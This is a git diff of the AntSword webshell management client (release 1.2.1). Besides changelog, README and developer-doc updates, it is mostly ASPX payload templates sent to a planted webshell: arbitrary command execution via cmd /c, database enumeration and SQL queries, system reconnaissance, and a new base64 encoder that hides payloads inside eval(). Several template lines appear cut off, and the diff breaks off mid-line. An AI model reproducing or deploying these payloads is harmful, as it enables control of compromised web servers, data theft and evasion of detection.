diff --git a/.gitignore b/.gitignore index ac5135a0..9fd5213a 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,4 @@ node_modules -static/build \ No newline at end of file +static/build +document/_book +.DS_* diff --git a/CHANGELOG.md b/CHANGELOG.md index a496cb53..6427f801 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,19 @@ > 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT. ## 2016/04 + +### /24 `(v1.2.1)` + 1. 重写前端资源加载方案 + 2. 优化部分ES6代码 + +### /23 + 1. 更新美化关于页面 + 2. 修正 Aspx 中代码根据用户配置自动编码 + +### /22 + 1. 修补 aspx 连接和文件管理的 Bug // &2:Thanks [@Medicean][medicaean-github] + 2. 新添加了 aspx base64 编码器 + ### /16 `(v1.2.0)` 1. 重新架构核心模块编码器 2. 优化shellmanager添加/编辑功能 diff --git a/README.md b/README.md index e569611c..631b77cf 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ > You can use it easily and intuitively to management your website(webshell). [![node](https://img.shields.io/badge/node-4.0+-green.svg?style=flat-square)](https://nodejs.org/en/download/) -[![release](https://img.shields.io/badge/release-v1.2.0-blue.svg?style=flat-square)](https://github.com/antoor/antSword/releases/tag/1.2.0) +[![release](https://img.shields.io/badge/release-v1.2.1-blue.svg?style=flat-square)][url-release] [中文说明][url-doccn] | [开发文档][url-document] | [CHANGELOG][url-changelog] @@ -65,3 +65,4 @@ This project is licensed under the terms of the [MIT license][url-mit] [url-weibo]: http://weibo.com/antoor [url-mit]: LICENSE [url-document]: http://doc.uyu.us +[url-release]: https://github.com/antoor/antSword/releases/tag/1.2.1 diff --git a/README_CN.md b/README_CN.md index c845b815..a8e34ef5 100644 --- a/README_CN.md +++ b/README_CN.md @@ -5,7 +5,7 @@ **任何人不得将其用于非法用途以及盈利等目的,也禁止未经允许私自修改打包进行发布,否则后果自行承担并将追究其相关责任!** [![node](https://img.shields.io/badge/node-4.0+-green.svg?style=flat-square)][url-nodejs-download] -[![release](https://img.shields.io/badge/release-v1.2.0-blue.svg?style=flat-square)][url-release] +[![release](https://img.shields.io/badge/release-v1.2.1-blue.svg?style=flat-square)][url-release] [英文说明][url-docen] | [开发文档][url-document] | [CHANGELOG][url-changelog] @@ -93,7 +93,7 @@ $ npm start [url-changelog]: CHANGELOG.md [url-document]: http://doc.uyu.us [url-nodejs-download]: https://nodejs.org/en/download/ -[url-release]: https://github.com/antoor/antSword/releases/tag/1.2.0 +[url-release]: https://github.com/antoor/antSword/releases/tag/1.2.1 [url-electron]: http://electron.atom.io/ [url-es6]: http://es6.ruanyifeng.com/ [url-webpack]: http://webpack.github.io/ diff --git a/document/01_install/build.md b/document/01_install/build.md new file mode 100644 index 00000000..06621734 --- /dev/null +++ b/document/01_install/build.md @@ -0,0 +1,17 @@ +## 修改组建 + +### 编辑代码 +你可以选择[atom][atom-url]、[sublimeText][st-url]或者[vsCode][vscode-url]作为本项目的开发IDE,也可以选择任何你喜欢的文本编辑器进行编写。 + +### 组建源码 +我们采用了`webpack`进行前端代码构建,但是其中的细节你不需要太多的知识去了解,只需要编辑好代码,然后执行下面命令进行构建编译即可: +``` sh +$ npm run build +``` + +> 该命令执行后,会进行代码监听,如有代码改动则会及时进行构建处理,如若只需编译一次,则直接`Ctrl+C`结束命令即可。 +> 也可以去掉`package.json`中对应命令的`--watch`选项 + +[atom-url]: https://atom.io/ +[vscode-url]: https://code.visualstudio.com/ +[st-url]: http://www.sublimetext.com/3 diff --git a/document/01_install/install.md b/document/01_install/install.md new file mode 100644 index 00000000..6927e48c --- /dev/null +++ b/document/01_install/install.md @@ -0,0 +1,17 @@ +## 环境安装 + +### 安装node.js +下载安装[nodejs v4.0+](https://nodejs.org/) + +### 下载代码 +``` sh +$ git clone https://github.com/antoor/antSword.git +``` + +### 安装模块 +> 考虑到安装模块过大,加上国内环境等原因可能导致模块安装失败,所以你如果没有梯子,可以尝试一下国内的淘宝npm源:[https://npm.taobao.org/](https://npm.taobao.org/) + +``` sh +$ cd antSword +$ npm install +``` diff --git a/document/01_install/readme.md b/document/01_install/readme.md new file mode 100644 index 00000000..128a203d --- /dev/null +++ b/document/01_install/readme.md @@ -0,0 +1,2 @@ +## 入门使用 +这里,将会指导你如何进行代码下载、模块安装以及编辑后进行源码组建后运行。 diff --git a/document/01_install/start.md b/document/01_install/start.md new file mode 100644 index 00000000..9c9e5c23 --- /dev/null +++ b/document/01_install/start.md @@ -0,0 +1,6 @@ +## 运行程序 + +在进行编辑(可选)然后编译过后,就可以执行如下命令来启动中国蚁剑了,赶紧玩耍吧! +``` sh +$ npm start +``` diff --git a/document/02_language/create.md b/document/02_language/create.md new file mode 100644 index 00000000..8f5a52ae --- /dev/null +++ b/document/02_language/create.md @@ -0,0 +1,4 @@ +## 创建模板 + +在语言模板目录`source/language`里,我们拷贝一份`en.jsx`英文模板用来修改使用。 +比如要创建一个日文模板,则把拷贝的`en.jsx`文件重命名为`jp.jsx`即可。 diff --git a/document/02_language/modify.md b/document/02_language/modify.md new file mode 100644 index 00000000..0eb3c01a --- /dev/null +++ b/document/02_language/modify.md @@ -0,0 +1,3 @@ +## 修改模板 + +使用编辑器打开我们创建好的`jp.jsx`语言模板,然后把对应的英文语言模板字符串变量修改为翻译好的日文语言模板字符串即可。 diff --git a/document/02_language/readme.md b/document/02_language/readme.md new file mode 100644 index 00000000..170777ad --- /dev/null +++ b/document/02_language/readme.md @@ -0,0 +1,9 @@ +## 语言模板 + +语言模板是应用一些UI组建以及菜单等所显示的语言模板。 +目前增加了中文、英文两大模板,后期等待更新成熟稳定,将会考虑加入日语、韩语以及其他一些外国朋友们常用的语言。 + +**当然,这个好处就是你可以个性化自定义自己的语言模板啦!** +> 不局限于火星文、非主流杀马特家族专用文、文言文、颜文字等等。 + +**目前的英文模板均采用翻译软件进行翻译而来,所以有很多地方看着很别扭或者语法错误一大堆,在此希望有兴趣的朋友能一起改进,谢谢支持!** diff --git a/document/02_language/register.md b/document/02_language/register.md new file mode 100644 index 00000000..8ef44693 --- /dev/null +++ b/document/02_language/register.md @@ -0,0 +1,12 @@ +## 注册模板 + +语言模板文件添加后并不是就能生效使用的,我们需要在`source/language/index.jsx`中注册我们的语言模板: +``` js +// 在languages变量中添加我们添加的语言名称即可: +const languages = { + ... + 'jp': '日本語の' +} +``` + +> 模板注册后,在程序的设置->语言设置里即可看到我们添加的语言模板,选择使用即可。 diff --git a/document/README.md b/document/README.md new file mode 100644 index 00000000..c4493895 --- /dev/null +++ b/document/README.md @@ -0,0 +1,21 @@ +# 中国蚁剑开发文档 +> **本文档基于`v1.2.0`编写** +> 创建:2016/04/16 +> 作者:蚁逅 +> http://doc.uyu.us + +### 最大自由的修改 + +从HTTP请求数据层面,你可以自定义任何你觉得喜欢的HTTP Header,也可以添加修改核心模板,发送自定义的任何数据包(包括变量、加密解密数据等)。 +当然,在处理数据以及渲染UI层面,如果你愿意花点时间看看代码,会发现实现起来既简单又方便! +**总之,它开源了自己,就相当于把自己全部交给了你。怎么调教进化、驰骋沙场,就看你了。** + +本文档将会从开始入门再到有一点深度地渐进给你讲解:**如何上手玩转中国蚁剑,如何优化打造属于自己的宝剑!** + +### 遵循的开源协议 + +我们目前选择的开源协议是MIT,所以不推荐你对它进行修改后自行打包发布,也不允许你使用它来做一些不合法的坏事。 +**否则由此带来的后果将有你自行承担,并且我们将会追求其相关责任!** + +> 同时,也欢迎各位的参与开发,不管是功能添加修改,还是代码优化重构,甚至注释文档编写,我们都非常欢迎与期待你的一份贡献! +> [https://github.com/antoor/antSword](https://github.com/antoor/antSword) diff --git a/document/SUMMARY.md b/document/SUMMARY.md new file mode 100644 index 00000000..a35db0f2 --- /dev/null +++ b/document/SUMMARY.md @@ -0,0 +1,19 @@ +# Summary + +* [入门使用](01_install/readme.md) + * [环境安装](01_install/install.md) + * [修改构建](01_install/build.md) + * [运行程序](01_install/start.md) + +* [语言模板](02_language/readme.md) + * [创建模板](02_language/create.md) + * [修改模板](02_language/modify.md) + * [注册模板](02_language/register.md) + +* [脚本模板] + +* [插件开发] + +* [其他问题] + * [修改HTTP函数] + * [数据缓存存储] diff --git a/modules/menubar.js b/modules/menubar.js index ef646e27..b0799245 100644 --- a/modules/menubar.js +++ b/modules/menubar.js @@ -1,6 +1,6 @@ -// -// 菜单栏模块 -// +/** + * 菜单栏模块 + */ 'use strict'; @@ -81,9 +81,6 @@ class Menubar { } ] }, { - // - // @窗口 - // label: LANG['window']['title'], submenu: [ { @@ -165,4 +162,4 @@ class Menubar { } -module.exports = Menubar; \ No newline at end of file +module.exports = Menubar; diff --git a/package.json b/package.json index b27d7798..abb2c0b4 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "antsword", - "version": "1.2.0", + "version": "1.2.1", "description": "中国蚁剑是一款跨平台的开源网站管理工具", "main": "app.js", "dependencies": { @@ -32,11 +32,10 @@ }, "debug": true, "update": { - "md5": "9632088a0be879fad2682793a8facd81", - "logs": "修复文件管理模板XSS安全问题\n完全重写优化核心代码架构\n增强文件下载功能,支持稳定下载大文件\n优化HTTP请求函数\n增加显示文件管理左侧目录数\n增加文件管理模块拖拽文件上传功能\n重新架构核心模块编码器\n优化shellmanager添加/编辑功能\n重构语言模板加载方案\n增加中文部分开发文档", + "md5": "1d21b4f1fb4ddc9a8014020a37b96777", + "logs": "修补 aspx 连接和文件管理的 Bug\n新添加了 aspx base64 编码器\n更新美化关于页面\n修正 Aspx 中代码根据用户配置自动编码\n重写前端资源加载方案\n优化部分ES6代码", "sources": { - "coding.net": "https://coding.net/api/share/download/e821cb92-3654-419d-894d-a1a2d9cdf2a5", - "github": "https://github.com/antoor/antSword/releases/download/1.2.0/update.zip" + "coding.net": "https://coding.net/api/share/download/4aaf3221-af66-4f63-824d-37b81bc68711" } }, "bugs": { diff --git a/source/app.entry.jsx b/source/app.entry.jsx index b6a1ffcf..23ed9c23 100644 --- a/source/app.entry.jsx +++ b/source/app.entry.jsx @@ -8,6 +8,7 @@ 'use strict'; const electron = global.require('electron'); +const shell = electron.shell; const remote = electron.remote; const ipcRenderer = electron.ipcRenderer; @@ -80,6 +81,7 @@ ipcRenderer.send('aproxy', { aproxyuri: antSword['aproxyuri'] }); +antSword['shell'] = shell; antSword['ipcRenderer'] = ipcRenderer; antSword['CacheManager'] = CacheManager; antSword['menubar'] = new Menubar(); diff --git a/source/core/README.md b/source/core/README.md new file mode 100644 index 00000000..a8b796c3 --- /dev/null +++ b/source/core/README.md @@ -0,0 +1,13 @@ +## 中国蚁剑核心模块1.0 +> 开写:2016/04/12 +> 更新:2016/04/24 + +`AntSword-Core`是中国蚁剑中最核心的一个模块,它的作用在于根据模板进行自由地增加修改HTTP请求数据,然后返回给用户最终生成的HTTP包数据。 +这样用户就能将它集成在任意支持的地方了。 + +## 模块所需参数 +| 参数名 | 说明 | +| :---- | :--- | +| pwd | shell连接密码(必选 | +| encode | 数据编码格式(可选,默认utf8 | +| encoder | 脚本模块编码器(可选,默认default | diff --git a/source/core/aspx/encoder/base64.jsx b/source/core/aspx/encoder/base64.jsx new file mode 100644 index 00000000..e815a7d6 --- /dev/null +++ b/source/core/aspx/encoder/base64.jsx @@ -0,0 +1,15 @@ +// +// aspx::base64 编码模块 +// +// :把除了密码的其他参数都base64编码一次 +// + +'use strict'; + +module.exports = (pwd, data) => { + let randomID = `_0x${Math.random().toString(16).substr(2)}`; + data[randomID] = new Buffer(data['_']).toString('base64'); + data[pwd] = `eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${randomID}"])),"unsafe");`; + delete data['_']; + return data; +} \ No newline at end of file diff --git a/source/core/aspx/index.jsx b/source/core/aspx/index.jsx index 3501d213..2d390b6a 100644 --- a/source/core/aspx/index.jsx +++ b/source/core/aspx/index.jsx @@ -3,6 +3,10 @@ * 开写:2016/04/12 * 更新:- * 作者:蚁逅 + * + * 更新: 2016/04/23 + * - 优化 aspx 编码规则 + * 作者:Medici.Yan */ 'use strict'; @@ -32,7 +36,7 @@ class ASPX extends Base { * @return {array} 编码器列表 */ get encoders() { - return []; + return ['base64']; } /** @@ -47,10 +51,21 @@ class ASPX extends Base { let formatter = new this.format(this.__opts__['encode']); + let aspxencode = this.__opts__['encode']; + + switch(this.__opts__['encode']) { + case "UTF8": + aspxencode = "UTF-8"; + break; + default: + break; + } + // 替换代码中的 GetEncoding("!{ANT::ENDOCE}").GetString 的 tag + data['_'] = data['_'].replace(/!{ANT::ENDOCE}/g, aspxencode); // base64编码一次数据 let base64Code = formatter['base64'](data['_']); - data['_'] = `Response.Write("${tag_s}");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("${babase64Code}")),"unsafe");}catch(err){Response.Write("ERROR:// "+err.message);}Response.Write("${tag_e}");Response.End();`; + data['_'] = `Response.Write("${tag_s}");var err:Exception;try{eval(System.Text.Encoding.GetEncoding("${aspxencode}").GetString(System.Convert.FromBase64String("${base64Code}")),"unsafe");}catch(err){Response.Write("ERROR:// "+err.message);}Response.Write("${tag_e}");Response.End();`; // 使用编码器进行处理并返回 return this.encodeComplete(tag_s, tag_e, data); diff --git a/source/core/aspx/template/base.jsx b/source/core/aspx/template/base.jsx index 4d67066b..385b8c71 100644 --- a/source/core/aspx/template/base.jsx +++ b/source/core/aspx/template/base.jsx @@ -5,5 +5,5 @@ module.exports = () => ({ info: - `var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+" ");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");` + `var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+"\t");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");Response.Write("\t"+Environment.OSVersion+"\t");Response.Write(Environment.UserName);` }) diff --git a/source/core/aspx/template/command.jsx b/source/core/aspx/template/command.jsx index 10936b26..7012d87d 100644 --- a/source/core/aspx/template/command.jsx +++ b/source/core/aspx/template/command.jsx @@ -5,7 +5,7 @@ module.exports = (arg1, arg2) => ({ exec: { _: - `var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`, + `var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`, [arg1]: "#{base64::bin}", [arg2]: "#{base64::cmd}" } diff --git a/source/core/aspx/template/database/access.jsx b/source/core/aspx/template/database/access.jsx index 6dab78b7..d8e76e38 100644 --- a/source/core/aspx/template/database/access.jsx +++ b/source/core/aspx/template/database/access.jsx @@ -6,20 +6,20 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 显示所有数据库 show_databases: { _: - `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write(Request.Item["${arg2}"]+"\\t");Conn.Close();`, + `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write(Request.Item["${arg2}"]+"\\t");Conn.Close();`, [arg1]: '#{base64::conn}', [arg2]: '#{dbname}' }, // 显示数据库所有表 show_tables: { _: - `var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`, + `var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`, [arg1]: '#{base64::conn}', }, // 显示表字段 show_columns: { _: - `function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`, + `function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`, [arg1]: '#{base64::conn}', // SELECT TOP 1 * FROM table2 [arg2]: '#{base64::table}' @@ -27,7 +27,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 执行SQL语句 query: { _: - `var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c ({ // 显示所有数据库 show_databases: { _: - `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();`, + `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();`, [arg1]: '#{base64::conn}' }, // 显示数据库所有表 show_tables: { _: - `var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`, + `var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x);`, [arg1]: '#{base64::conn}', }, // 显示表字段 show_columns: { _: - `function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`, + `function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`, [arg1]: '#{base64::conn}', // SELECT TOP 1 * FROM table3 [arg2]: '#{base64::table}' @@ -26,7 +26,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 执行SQL语句 query: { _: - `var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c ({ // 显示所有数据库 show_databases: { _: - `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();`, + `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write("[ADO DATABASE]\\t");Conn.Close();`, // Provider=OraOLEDB.Oracle;Data Source=test;User Id=sys;Password=;Persist Security Info=True; [arg1]: '#{base64::conn}' }, // 显示数据库所有表 show_tables: { _: - `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("SELECT TABLE_NAME FROM ALL_TABLES",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+"\\t");Rs.MoveNext();}Rs.Close();Conn.Close();`, + `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("SELECT TABLE_NAME FROM ALL_TABLES",Conn,1,1);while(!Rs.EOF && !Rs.BOF){Response.Write(Rs.Fields(0).Value+"\\t");Rs.MoveNext();}Rs.Close();Conn.Close();`, [arg1]: '#{base64::conn}' }, // 显示表字段 show_columns: { _: - `function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`, + `function TN(n:Int32):String{switch(n){case 2:return "smallint";case 3:return "int";case 4:return "real";case 5:return "float";case 6:return "money";case 7:return "datetime";case 11:return "bit";case 12:return "variant";case 16:return "tinyint";case 17:return "tinyint";case 20:return "bigint";case 72:return "unique";case 128:return "binary";case 129:return "char";case 130:return "nchar";case 131:return "numeric";case 135:return "datetime";case 200:return "varchar";case 201:return "text";case 202:return "nvarchar";case 203:return "ntext";case 204:return "varbinary";case 205:return "image";default:return n;}}var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+" ("+TN(Rs.Fields.Item(c).Type)+")\\t");}Rs.Close();Conn.Close();`, [arg1]: '#{base64::conn}', // SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A) WHERE N=1 [arg2]: '#{base64::table}' @@ -27,7 +27,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 执行SQL语句 query: { _: - `var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c0 AND N<=20 [arg2]: '#{base64::sql}', diff --git a/source/core/aspx/template/database/sqlserver.jsx b/source/core/aspx/template/database/sqlserver.jsx index 125f1ced..25a83693 100644 --- a/source/core/aspx/template/database/sqlserver.jsx +++ b/source/core/aspx/template/database/sqlserver.jsx @@ -6,20 +6,20 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ // 显示所有数据库 show_databases: { _: - `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("SELECT [name] FROM master.dbo.sysdatabases ORDER BY 1",Conn,1,1);while(!Rs.EOF && 